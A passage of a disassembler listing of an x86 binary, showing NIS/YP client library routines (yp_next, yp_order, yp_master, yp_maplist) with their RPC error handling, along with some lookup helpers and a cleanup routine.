		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		add	esp, 20h

loc_805D7F1:				; CODE XREF: sub_805D638+12Cj
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_80665DC
		call	xdr_free
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805D80A:				; CODE XREF: sub_805D638+55j
					; sub_805D638+75j ...
		lea	esp, [ebp+var_38]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D638	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805D814	proc near		; CODE XREF: sub_804C9E4+C1p

var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_2C], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_805D854
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_805D854
		cmp	[ebp+arg_4], 0
		jz	short loc_805D854
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	0
		jz	short loc_805D854
		cmp	[ebp+arg_8], 0
		jz	short loc_805D854
		cmp	[ebp+arg_C], 0
		jz	short loc_805D854
		mov	esi, [ebp+arg_8]
		cmp	byte ptr [esi],	0
		jnz	short loc_805D860

loc_805D854:				; CODE XREF: sub_805D814+14j
					; sub_805D814+1Cj ...
		mov	eax, 1
		jmp	loc_805DA06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D860:				; CODE XREF: sub_805D814+3Ej
		mov	esi, [ebp+arg_18]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_10]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_1C]
		mov	dword ptr [esi], 0
		mov	esi, [ebp+arg_14]
		mov	dword ptr [esi], 0

loc_805D884:				; CODE XREF: sub_805D814+12Aj
		lea	edx, [ebp+var_28]
		push	edx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805D8A4
		mov	eax, 3
		jmp	loc_805DA06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D8A4:				; CODE XREF: sub_805D814+82j
		mov	esi, ds:dword_8069030
		mov	[ebp+var_34], esi
		mov	[ebp+var_30], 0
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_24], esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_1C], esi
		mov	esi, [ebp+arg_C]
		mov	[ebp+var_18], esi
		push	14h
		lea	ebx, [ebp+var_14]
		push	ebx
		call	bzero
		mov	edx, [ebp+var_28]
		mov	ecx, [edx+120h]
		mov	eax, [ecx+4]
		push	[ebp+var_30]
		push	[ebp+var_34]
		push	ebx
		push	offset sub_80665DC
		lea	edx, [ebp+var_24]
		push	edx
		push	offset sub_8066514
		push	5
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805D950
		push	offset aYp_nextClnt_ca ; "yp_next: clnt_call"
		mov	edx, [ebp+var_28]
		mov	edx, [edx+120h]
		push	edx
		call	clnt_perror
		mov	edx, [ebp+var_28]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		inc	[ebp+var_2C]
		cmp	ds:dword_8069034, edx
		jg	loc_805D884
		mov	eax, 2
		jmp	loc_805DA06
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805D950:				; CODE XREF: sub_805D814+F2j
		mov	edx, [ebp+var_14]
		push	edx
		call	ypprot_err
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	loc_805D9ED
		mov	edx, [ebp+var_C]
		mov	esi, [ebp+arg_14]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_10]
		mov	[esi], eax
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_10]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_10]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_14]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_10]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		mov	edx, [ebp+var_4]
		mov	esi, [ebp+arg_1C]
		mov	[esi], edx
		mov	edx, [esi]
		add	edx, 2
		push	edx
		call	malloc
		mov	esi, [ebp+arg_18]
		mov	[esi], eax
		mov	esi, [ebp+arg_1C]
		mov	edx, [esi]
		push	edx
		push	eax
		mov	edx, [ebp+var_8]
		push	edx
		call	bcopy
		mov	esi, [ebp+arg_18]
		mov	ecx, [esi]
		mov	esi, [ebp+arg_1C]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx], 0Ah
		mov	ecx, [esi]
		mov	esi, [ebp+arg_18]
		mov	edx, [esi]
		mov	byte ptr [edx+ecx+1], 0
		add	esp, 20h

loc_805D9ED:				; CODE XREF: sub_805D814+14Cj
		lea	edx, [ebp+var_14]
		push	edx
		push	offset sub_80665DC
		call	xdr_free
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805DA06:				; CODE XREF: sub_805D814+45j
					; sub_805D814+89j ...
		lea	esp, [ebp+var_40]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805D814	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		test	ebx, ebx
		jz	short loc_805DA33
		cmp	byte ptr [ebx],	0
		jz	short loc_805DA33
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_805DA33
		mov	edi, [ebp+0Ch]
		cmp	byte ptr [edi],	0
		jnz	short loc_805DA40

loc_805DA33:				; CODE XREF: .text:0805DA1Ej
					; .text:0805DA23j ...
		mov	eax, 1
		jmp	loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DA40:				; CODE XREF: .text:0805DA31j
		lea	edx, [ebp-14h]
		push	edx
		push	ebx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DA5C
		mov	eax, 3
		jmp	loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DA5C:				; CODE XREF: .text:0805DA4Fj
		mov	edi, ds:dword_8069030
		mov	[ebp-2Ch], edi
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	ecx, [ebp-14h]
		mov	edx, [ecx+108h]
		mov	[ebp-10h], edx
		mov	edx, [ecx+10Ch]
		mov	[ebp-0Ch], edx
		mov	edx, [ecx+110h]
		mov	[ebp-8], edx
		mov	edx, [ecx+114h]
		mov	[ebp-4], edx
		mov	word ptr [ebp-0Eh], 0
		push	0
		push	0
		lea	edx, [ebp-18h]
		push	edx
		push	2
		push	186A4h
		lea	edx, [ebp-10h]
		push	edx
		call	clnttcp_create
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_805DAD4
		push	offset aClnttcp_create ; "clnttcp_create failed\n"
		call	_IO_perror
		mov	eax, 9
		jmp	short loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DAD4:				; CODE XREF: .text:0805DABFj
		mov	[ebp-20h], ebx
		mov	edi, [ebp+0Ch]
		mov	[ebp-1Ch], edi
		mov	edi, [ebp+10h]
		mov	edx, [edi]
		mov	ds:dword_807EB90, edx
		mov	edx, [edi+4]
		mov	ds:dword_807EB8C, edx
		mov	ecx, [esi+4]
		push	dword ptr [ebp-28h]
		push	dword ptr [ebp-2Ch]
		lea	ebx, [ebp-24h]
		push	ebx
		push	offset sub_80668AC
		lea	edx, [ebp-20h]
		push	edx
		push	offset sub_8066564
		push	8
		push	esi
		mov	edx, [ecx]
		call	edx
		add	esp, 20h
		mov	edx, [esi+4]
		push	esi
		mov	edx, [edx+10h]
		call	edx
		push	ebx
		push	offset sub_80668AC
		call	xdr_free
		mov	edx, [ebp-14h]
		push	edx
		call	sub_805D2F4
		add	esp, 10h
		cmp	dword ptr [ebp-24h], 0
		jnz	short loc_805DB40
		xor	eax, eax
		jmp	short loc_805DB49
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DB40:				; CODE XREF: .text:0805DB3Aj
		mov	edx, [ebp-24h]
		push	edx
		call	ypprot_err

loc_805DB49:				; CODE XREF: .text:0805DA38j
					; .text:0805DA56j ...
		lea	esp, [ebp-38h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	dword ptr [ebp-18h], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_805DB80
		mov	ecx, [ebp+8]
		cmp	byte ptr [ecx],	0
		jz	short loc_805DB80
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_805DB80
		mov	ecx, [ebp+0Ch]
		cmp	byte ptr [ecx],	0
		jnz	short loc_805DB8C

loc_805DB80:				; CODE XREF: .text:0805DB68j
					; .text:0805DB70j ...
		mov	eax, 1
		jmp	loc_805DC65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DB8C:				; CODE XREF: .text:0805DB7Ej
					; .text:0805DC5Aj
		lea	edx, [ebp-4]
		push	edx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DBAC
		mov	eax, 3
		jmp	loc_805DC65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DBAC:				; CODE XREF: .text:0805DB9Ej
		mov	esi, ds:dword_8069030
		xor	edi, edi
		mov	ecx, [ebp+8]
		mov	[ebp-14h], ecx
		mov	ecx, [ebp+0Ch]
		mov	[ebp-10h], ecx
		push	8
		lea	ebx, [ebp-0Ch]
		push	ebx
		call	bzero
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		mov	[ebp-1Ch], edx
		mov	eax, [edx+4]
		push	edi
		push	esi
		push	ebx
		push	offset sub_8066664
		lea	edx, [ebp-14h]
		push	edx
		push	offset sub_8066564
		push	0Ah
		mov	ecx, [ebp-1Ch]
		push	ecx
		mov	edx, [eax]
		call	edx
		add	esp, 28h
		test	eax, eax
		jnz	short loc_805DC24
		mov	edx, [ebp-8]
		mov	ecx, [ebp+10h]
		mov	[ecx], edx
		push	ebx
		push	offset sub_8066664
		call	xdr_free
		mov	edx, [ebp-4]
		push	edx
		call	sub_805D2F4
		mov	edx, [ebp-0Ch]
		push	edx
		call	ypprot_err
		jmp	short loc_805DC65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DC24:				; CODE XREF: .text:0805DBFAj
		push	offset aYp_orderClnt_c ; "yp_order: clnt_call"
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		push	edx
		call	clnt_perror
		mov	edx, [ebp-4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp-18h]
		inc	dword ptr [ebp-18h]
		cmp	ds:dword_8069034, edx
		jg	loc_805DB8C
		mov	eax, 2

loc_805DC65:				; CODE XREF: .text:0805DB85j
					; .text:0805DBA5j ...
		lea	esp, [ebp-28h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	dword ptr [ebp-18h], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_805DC9C
		mov	ecx, [ebp+8]
		cmp	byte ptr [ecx],	0
		jz	short loc_805DC9C
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_805DC9C
		mov	ecx, [ebp+0Ch]
		cmp	byte ptr [ecx],	0
		jnz	short loc_805DCA8

loc_805DC9C:				; CODE XREF: .text:0805DC84j
					; .text:0805DC8Cj ...
		mov	eax, 1
		jmp	loc_805DD9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DCA8:				; CODE XREF: .text:0805DC9Aj
					; .text:0805DD50j
		lea	edx, [ebp-4]
		push	edx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DCC8
		mov	eax, 3
		jmp	loc_805DD9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DCC8:				; CODE XREF: .text:0805DCBAj
		mov	esi, ds:dword_8069030
		xor	edi, edi
		mov	ecx, [ebp+8]
		mov	[ebp-14h], ecx
		mov	ecx, [ebp+0Ch]
		mov	[ebp-10h], ecx
		push	8
		lea	ebx, [ebp-0Ch]
		push	ebx
		call	bzero
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		mov	[ebp-1Ch], edx
		mov	eax, [edx+4]
		push	edi
		push	esi
		push	ebx
		push	offset xdr_ypresp_order
		lea	edx, [ebp-14h]
		push	edx
		push	offset sub_8066564
		push	9
		mov	ecx, [ebp-1Ch]
		push	ecx
		mov	edx, [eax]
		call	edx
		mov	ebx, eax
		add	esp, 28h
		test	ebx, ebx
		jz	short loc_805DD60
		push	offset aYp_masterClnt_ ; "yp_master: clnt_call"
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		push	edx
		call	clnt_perror
		mov	edx, [ebp-4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp-18h]
		inc	dword ptr [ebp-18h]
		cmp	ds:dword_8069034, edx
		jg	loc_805DCA8
		mov	eax, 2
		jmp	short loc_805DD9C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DD60:				; CODE XREF: .text:0805DD18j
		mov	edx, [ebp-0Ch]
		push	edx
		call	ypprot_err
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805DD83
		mov	edx, [ebp-8]
		push	edx
		call	strdup
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		add	esp, 4

loc_805DD83:				; CODE XREF: .text:0805DD70j
		lea	edx, [ebp-0Ch]
		push	edx
		push	offset xdr_ypresp_order
		call	xdr_free
		mov	edx, [ebp-4]
		push	edx
		call	sub_805D2F4
		mov	eax, ebx

loc_805DD9C:				; CODE XREF: .text:0805DCA1j
					; .text:0805DCC1j ...
		lea	esp, [ebp-28h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	dword ptr [ebp-10h], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_805DDC6
		mov	ecx, [ebp+8]
		cmp	byte ptr [ecx],	0
		jnz	short loc_805DDD0

loc_805DDC6:				; CODE XREF: .text:0805DDBCj
		mov	eax, 1
		jmp	loc_805DE91
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DDD0:				; CODE XREF: .text:0805DDC4j
					; .text:0805DE86j
		lea	edx, [ebp-4]
		push	edx
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_805CE84
		add	esp, 8
		test	eax, eax
		jz	short loc_805DDF0
		mov	eax, 3
		jmp	loc_805DE91
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805DDF0:				; CODE XREF: .text:0805DDE2j
		mov	esi, ds:dword_8069030
		xor	edi, edi
		push	8
		lea	ebx, [ebp-0Ch]
		push	ebx
		call	bzero
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		mov	ecx, [edx+4]
		mov	[ebp-14h], ecx
		push	edi
		push	esi
		push	ebx
		push	offset sub_8066754
		mov	ecx, [ebp+8]
		push	ecx
		push	offset xdr_domainname
		push	0Bh
		push	edx
		mov	ecx, [ebp-14h]
		mov	edx, [ecx]
		call	edx
		add	esp, 28h
		test	eax, eax
		jnz	short loc_805DE50
		mov	edx, [ebp-8]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], edx
		mov	edx, [ebp-4]
		push	edx
		call	sub_805D2F4
		mov	edx, [ebp-0Ch]
		push	edx
		call	ypprot_err
		jmp	short loc_805DE91
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805DE50:				; CODE XREF: .text:0805DE32j
		push	offset aYp_maplistClnt ; "yp_maplist: clnt_call"
		mov	edx, [ebp-4]
		mov	edx, [edx+120h]
		push	edx
		call	clnt_perror
		mov	edx, [ebp-4]
		mov	dword ptr [edx+128h], 0FFFFFFFFh
		push	edx
		call	sub_805D2F4
		add	esp, 0Ch
		mov	edx, [ebp-10h]
		inc	dword ptr [ebp-10h]
		cmp	ds:dword_8069034, edx
		jg	loc_805DDD0
		mov	eax, 2

loc_805DE91:				; CODE XREF: .text:0805DDCBj
					; .text:0805DDE9j ...
		lea	esp, [ebp-20h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000141 BYTES: COLLAPSED FUNCTION yperr_string. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [000000C5 BYTES: COLLAPSED FUNCTION ypprot_err. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		cmp	ds:byte_807E358, 0
		jnz	short loc_805E0E3
		lea	eax, [ebp-4]
		push	eax
		call	yp_get_default_domain
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E0FB
		mov	esi, offset byte_807E358
		mov	edi, offset aNone ; "(none)"
		mov	ecx, 7
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_805E0FB

loc_805E0E3:				; CODE XREF: .text:0805E0BBj
		test	ebx, ebx
		jz	short loc_805E0ED
		mov	dword ptr [ebx], offset	byte_807E358

loc_805E0ED:				; CODE XREF: .text:0805E0E5j
		push	offset byte_807E358
		call	sub_805D328
		test	eax, eax
		jz	short loc_805E100

loc_805E0FB:				; CODE XREF: .text:0805E0CBj
					; .text:0805E0E1j
		xor	eax, eax
		jmp	short loc_805E105
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E100:				; CODE XREF: .text:0805E0F9j
		mov	eax, 1

loc_805E105:				; CODE XREF: .text:0805E0FDj
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000002EC BYTES: COLLAPSED FUNCTION catopen. PRESS KEYPAD "+"	TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805E3FC	proc near		; CODE XREF: sub_805E584+13p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_805E42C
		cmp	[ebp+arg_0], 0
		jz	short loc_805E42C
		cmp	[ebp+arg_4], 0
		jle	short loc_805E42C
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	[edx+0Ch], eax
		jle	short loc_805E434
		mov	ecx, eax
		mov	esi, [ebp+arg_4]
		jmp	short loc_805E44C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E42C:				; CODE XREF: sub_805E3FC+Aj
					; sub_805E3FC+10j ...
		xor	eax, eax
		jmp	loc_805E4C2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E434:				; CODE XREF: sub_805E3FC+24j
		mov	edx, [ebp+arg_0]
		mov	esi, [edx+0Ch]
		mov	ecx, esi
		sub	ecx, edi
		mov	eax, ecx
		shr	eax, 1Fh
		add	eax, ecx
		mov	ecx, eax
		sar	ecx, 1
		lea	esi, [esi]

loc_805E44C:				; CODE XREF: sub_805E3FC+2Bj
					; sub_805E3FC+9Aj ...
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*8]
		add	eax, ecx
		mov	ebx, eax
		mov	edx, [ebp+arg_0]
		add	ebx, [edx+10h]
		mov	edx, [ebp+arg_4]
		cmp	[ebx], edx
		jz	short loc_805E4B0
		jge	short loc_805E480
		lea	edi, [ecx+1]
		mov	eax, edx
		sub	eax, [ebx]
		lea	eax, [eax+ecx+1]
		cmp	esi, eax
		jle	short loc_805E476
		mov	esi, eax

loc_805E476:				; CODE XREF: sub_805E3FC+76j
		mov	ebx, 1
		jmp	short loc_805E487
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E480:				; CODE XREF: sub_805E3FC+67j
		mov	esi, ecx
		mov	ebx, 0FFFFFFFFh

loc_805E487:				; CODE XREF: sub_805E3FC+7Fj
		cmp	edi, esi
		jge	short loc_805E42C
		mov	eax, esi
		sub	eax, edi
		cmp	eax, 1
		jnz	short loc_805E498
		add	ecx, ebx
		jmp	short loc_805E44C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E498:				; CODE XREF: sub_805E3FC+96j
		mov	eax, esi
		sub	eax, edi
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		sar	eax, 1
		imul	eax, ebx
		add	ecx, eax
		jmp	short loc_805E44C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E4B0:				; CODE XREF: sub_805E3FC+65j
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_805E4C0
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805E844

loc_805E4C0:				; CODE XREF: sub_805E3FC+B8j
		mov	eax, ebx

loc_805E4C2:				; CODE XREF: sub_805E3FC+32j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E3FC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805E4CC	proc near		; CODE XREF: sub_805E584+1Cp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jz	short loc_805E4FC
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_805E4FC
		cmp	[ebp+arg_4], 0
		jle	short loc_805E4FC
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	[edx+14h], eax
		jle	short loc_805E500
		mov	ecx, eax
		mov	esi, [ebp+arg_4]
		jmp	short loc_805E518
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E4FC:				; CODE XREF: sub_805E4CC+Aj
					; sub_805E4CC+13j ...
		xor	eax, eax
		jmp	short loc_805E578
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E500:				; CODE XREF: sub_805E4CC+27j
		mov	edx, [ebp+arg_0]
		mov	esi, [edx+14h]
		mov	ecx, esi
		sub	ecx, edi
		mov	eax, ecx
		shr	eax, 1Fh
		add	eax, ecx
		mov	ecx, eax
		sar	ecx, 1
		lea	esi, [esi]

loc_805E518:				; CODE XREF: sub_805E4CC+2Ej
					; sub_805E4CC+92j ...
		lea	eax, [ecx+ecx*2]
		shl	eax, 2
		mov	edx, [ebp+arg_0]
		add	eax, [edx+8]
		mov	edx, [ebp+arg_4]
		cmp	[eax], edx
		jz	short loc_805E578
		jge	short loc_805E548
		lea	edi, [ecx+1]
		sub	edx, [eax]
		mov	eax, edx
		lea	eax, [eax+ecx+1]
		cmp	esi, eax
		jle	short loc_805E53E
		mov	esi, eax

loc_805E53E:				; CODE XREF: sub_805E4CC+6Ej
		mov	ebx, 1
		jmp	short loc_805E54F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E548:				; CODE XREF: sub_805E4CC+5Fj
		mov	esi, ecx
		mov	ebx, 0FFFFFFFFh

loc_805E54F:				; CODE XREF: sub_805E4CC+77j
		cmp	edi, esi
		jge	short loc_805E4FC
		mov	eax, esi
		sub	eax, edi
		cmp	eax, 1
		jnz	short loc_805E560
		add	ecx, ebx
		jmp	short loc_805E518
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E560:				; CODE XREF: sub_805E4CC+8Ej
		mov	eax, esi
		sub	eax, edi
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		sar	eax, 1
		imul	eax, ebx
		add	ecx, eax
		jmp	short loc_805E518
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E578:				; CODE XREF: sub_805E4CC+32j
					; sub_805E4CC+5Dj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E4CC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805E584	proc near		; CODE XREF: init_services+2A7p
					; init_services+2CDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		push	eax
		push	edx
		push	ecx
		call	sub_805E3FC
		add	esp, 8
		push	eax
		call	sub_805E4CC
		mov	edx, ebx
		test	eax, eax
		jz	short loc_805E5AE
		mov	edx, [eax+4]

loc_805E5AE:				; CODE XREF: sub_805E584+25j
		mov	eax, edx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805E584	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+8]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_805E5CD
		test	edi, edi
		jnz	short loc_805E5D4

loc_805E5CD:				; CODE XREF: .text:0805E5C7j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805E634
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E5D4:				; CODE XREF: .text:0805E5CBj
		cmp	dword ptr [edi], 1
		jz	short loc_805E5E9
		mov	eax, [edi+8]
		push	eax
		mov	eax, [edi+4]
		push	eax
		call	__libc_munmap
		add	esp, 8

loc_805E5E9:				; CODE XREF: .text:0805E5D7j
		xor	esi, esi
